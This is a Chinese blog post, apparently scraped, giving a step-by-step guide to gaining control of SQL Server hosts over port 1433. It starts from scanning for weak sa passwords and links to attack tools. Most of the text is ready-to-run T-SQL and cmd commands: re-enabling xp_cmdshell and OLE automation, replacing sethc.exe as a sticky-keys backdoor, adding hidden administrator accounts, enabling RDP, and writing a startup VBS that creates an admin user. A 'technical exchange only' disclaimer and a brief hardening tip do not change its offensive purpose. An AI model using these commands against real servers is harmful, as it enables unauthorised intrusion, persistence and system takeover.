mysql udp提权_SQL Server数据库1433端口解封提权
众所周知,1433端口是SQL Server默认的端口,SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。可以利用sa的弱口令,可以通过1433端口进行入侵和提权。
为什么要解封?因为数据库管理员为了安全起见,之前对某些敏感文件的权限降低,所以就需要解封提升权限。
下面是常见的提权修复命令的使用:
提权过程中用到的工具:s扫描器 x-scan sql连接器 sql查询分析器
首先扫描开放1433端口的主机,再用x-scan扫描出sa弱口令。接着就用sql连接器连接后,进行命令操作。目前最新的sql连接器是SQL TOOLS 2.0功能增强版。
下载地址:http://pan.baidu.com/s/1o6vRlMi 密码:mthy
sql查询分离器下载地址:http://pan.baidu.com/s/1sj1QHOh 密码:738o
以下是常见的修复命令:
1.修复错误 Error Message:未能找到存储过程 ‘master..xp_cmdshell’
修复方法:xp_cmdshell新的恢复办法
第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’
服务器: 消息 3701,级别 11,状态 5,行 1
第二步恢复:
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
直接恢复,不管sp_addextendedproc是不是存在
2.修复拒绝访问错误
用net1来提权 或者 Dir net.exe /s /p
3.修复错误Error Message:SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程 ‘sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
修复方法:
;EXEC sp_configure ‘show advanced options’, 1 —
;RECONFIGURE WITH OVERRIDE —
;EXEC sp_configure ‘xp_cmdshell’, 1 —
;RECONFIGURE WITH OVERRIDE —
;EXEC sp_configure ‘show advanced options’, 0 —
4.修复错误
Error Message:无法装载 DLL xpweb70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。
修复方法:
第一步
exec sp_dropextendedproc ‘xp_cmdshell’
第二步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 —
5.修复错误
Error Message:无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)。
修复方法:
第一步
exec sp_dropextendedproc ‘xp_cmdshell’
第二步
dbcc addextendedproc (“xp_cmdshell”,”c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”)
;EXEC sp_configure ‘show advanced options’, 0 —
或者:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’
6.错误5的修复 我们可以通过后门的方式绕过去,首先我们用查询分离器连接
第一:
declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,null,’C:\WINDOWS\explorer.exe’ ,’c:\windows\system32\sethc.exe’;
第二:
declare @oo int
exec sp_oacreate ‘scripting.filesystemobject’, @oo out
exec sp_oamethod @oo, ‘copyfile’,null,’c:\windows\system32\sethc.exe’ ,’c:\windows\system32\dllcache\sethc.exe’;
SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
;EXEC sp_configure ‘show advanced options’, 1 —
;RECONFIGURE WITH OVERRIDE —
;EXEC sp_configure ‘Ole Automation Procedures’, 1 —
;RECONFIGURE WITH OVERRIDE —
7.开启3389终端
修复方法:
开3389:
Cmd 命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Sql命令
开3389
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–
关3389:
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;
查看3389端口
exec xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’
8.直接添加帐户法
删除odsole70.dll:
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
恢复odsole70.dll:
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’
exec sp_addextendedproc sp_OACreate,’odsole70.dll’
直接添加帐户命令:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net user 用户名 密码 /add’
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add’
9. 5下shift后门命令
declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\explorer.exe’ ,’c:\windows\system32\sethc.exe’;
declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,null,’c:\windows\system32\sethc.exe’ ,’c:\windows\system32\dllcache\sethc.exe’;
10.SQL2005恢复sp_oacreate
USE master;
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘show advanced options’, 0;
11.恢复时一些常用的SQL语句:
利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己):
use master
exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’
exec sp_addextendedproc xp_dirtree,’xpstar.dll’
exec sp_addextendedproc xp_enumgroups,’xplog70.dll’
exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’
exec sp_addextendedproc xp_loginconfig,’xplog70.dll’
exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’
exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’
exec sp_addextendedproc sp_OACreate,’odsole70.dll’
exec sp_addextendedproc sp_OADestroy,’odsole70.dll’
exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’
exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’
exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’
exec sp_addextendedproc sp_OAStop,’odsole70.dll’
exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’
exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’
exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’
exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’
exec sp_addextendedproc xp_regread,’xpstar.dll’
exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’
exec sp_addextendedproc xp_regwrite,’xpstar.dll’
exec sp_addextendedproc xp_availablemedia,’xpstar.dll’
恢复cmdshell:exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
判断存储扩展是否存在(返回结果为1就ok):
select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢复xp_cmdshell(返回结果为1就ok):
exec master.dbo.addextendedproc ‘xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.
sysobjectswhere xtype=’x’ and name=’xp_cmdshell’
否则上传xplog7.0.dll:
exec master.dbo.addextendedproc ‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’
12.出现找不到存储过程 sp_addextendedproc
解决方法:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO
这段代码贴入查询分离器,执行
13.去除SA的xp_cmdshell权限
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc ‘xp_cmdshell’
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
14.恢复xp_cmdshell
先尝试恢复xp_cmdshell,sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’,
结果发现xpsql70.dll被删除。
然后写vbs文件到启动组里面:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘createtextfile’, @f out,
‘c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs’, 1
exec @ret = sp_oamethod @f, ‘writeline’, NULL,
‘set wshshell=createobject(“wscript.shell”)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,
‘a=wshshell.run (“cmd.exe /c net user lintao lintao520 /add”,0)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,
‘b=wshshell.run (“cmd.exe /c net localgroup administrators lintao /add”,0)’
然而,对于新版本的MSSQL,2005以上的版本默认权限降低,没有权限运行文件。因此对于很多1433全自动传马工具,会出现自动传马时只看到执行命令,却没有下载小马,或者下载了也没有运行小马的现象。
本文只提供技术交流参考,请勿用作非法用途!
mysql udp提权_SQL Server数据库1433端口解封提权相关推荐
- mysql 查询快照数据_SQL Server : 数据库快照及其查询
近日再次讲到SQL Server 2005中的数据库快照功能.这里做一个总结 使用场景: 只读的报表查询(可以有多个版本) 分担源数据库压力 将数据静止在某个时间 对于人为失误问题的灾难恢复 主要限制 ...
- linux python连接oracle数据库_Linux下通过python访问MySQL、Oracle、SQL Server数据库的方法...
本文档主要描述了Linux下python数据库驱动的安装和配置,用来实现在Linux平台下通过python访问MySQL.Oracle.SQL Server数据库. 其中包括以下几个软件的安装及配置: ...
- mysql反弹提权_MySQL数据库反弹端口连接提权
[51CTO.com原创稿件]在渗透或者安全评估时,有可能遇到一些比较奇葩的环境,即使通过Mysql root账号和密码获取了webshell,由于无法执行命令.在一般的情况下,也就放弃了.但其实可以 ...
- php实现sql server数据导入到mysql数据库_SQL Server数据库导入MySQL数据库的体验_MySQL...
SQL Server 因工作需要,要将存放在sql server数据库中的数据全部导入到mysql数据库中,在网上搜集相关资料,找到两种方法,现在分别谈谈对他们的看法. 第一种是安装mysql ODB ...
- mysql查询加伪列_SQL Server数据库中伪列及伪列的含义详解
SQL Server中的伪列 下午看QQ群有人在讨论(非聚集)索引的存储,说,对于聚集索引表,非聚集索引存储的是索引键值+聚集索引键值:对于非聚集索引表,索引存储的是索引键值+RowId,这应该是一个 ...
- 利用1433端口及提权总结
目录 1.1433端口 2.hydra--mssql 3.Msf--mssql 4.SQL server提权过程 (1)使用xp_cmdshell进行提权 (2)xp_cmdshell 提权 (3)s ...
- server sql top速度变慢解决方案_SQL Server数据库查询速度慢的原因和解决方法
SQL Server数据库查询速度慢的原因有很多,常见的有以下几种: 1.没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷) 2.I/O吞吐量小,形成了瓶颈效应. 3.没有创建计算列 ...
- mysql设备未就绪_SQL Server 返回了错误 21(设备未就绪。) 解决方法
错误 描述: /Web应用程序中的服务器 错误 . 在文件 'G:\LedDB\LedDB.mdf' 中.偏移量为 0x00000001a9a000 的位置执行 读取 期间,操作系统已经向 SQL S ...
- sqlserver2014补丁速度慢_SQL Server数据库查询速度慢的原因和解决方法
问 SQL Server数据库查询速度慢的原因有很多,常见的有以下几种: 1.没有索引或者没有用到索引(这是查询慢最常见的问题,是程序设计的缺陷) 2.I/O吞吐量小,形成了瓶颈效应. 3.没有创建计 ...
最新文章
- 统计学习方法:朴素贝叶斯
- leetcode--Reverse Integer
- 002_FastDFS单机部署
- CNN实操记录(goal:一日一更新)
- 计算机需要 更新 无法卸载,电脑更新变卡顿,只要卸载它就能解决?
- 教你正确设置CrossOver的Wine配置(一)
- 分布式日志收集解决方案ELK
- VMware ESXi6.0注入8060阵列卡驱动过程记录
- android自定义sidebar,Android仿微信通讯录列表侧边栏效果
- 973页kubernetes学习笔记,涵盖K8S所有核心知识点,仅分享3天
- inux内核态文件操作filp_open/filp_close/vfs_read/vfs_write
- 使用缓存django、redis
- 全国建筑模架业内人士齐聚联筑赚 携手并进同发展
- omap4430驱动
- 全程15分钟 详解如何为MacBook Pro 15寸 加装固态硬
- latex 大于等于_Latex使用时的小技巧
- 深入分析AMM恒定乘积模型的滑点与无常损失
- Oracle Clob类型和Blob类型之间的转换
- 教程篇 | 史上最简单也最全新手Revit教程
- CSS盒圆角、阴影、边界图片、背景
热门文章
- stream流去除对象的值_I/O流(过滤流、对象序列化、字符流)
- Windows 11 内置原生壁纸下载!
- 35个经典口误--笑翻你
- 爬虫—有道翻译案例(史上最详细分析教程)
- tkMapper的基本使用
- LMS原理推导及代码实现
- 苹果手机 iTunes 资料备份到另一手机
- rj45管脚定义_“RJ45接口”定义标准是什么?
- ValueError: module functions cannot set METH_CLASS or METH_STATIC 的快速处理方法
- 请求的资源不可用html,Eclipse请求的资源不可用。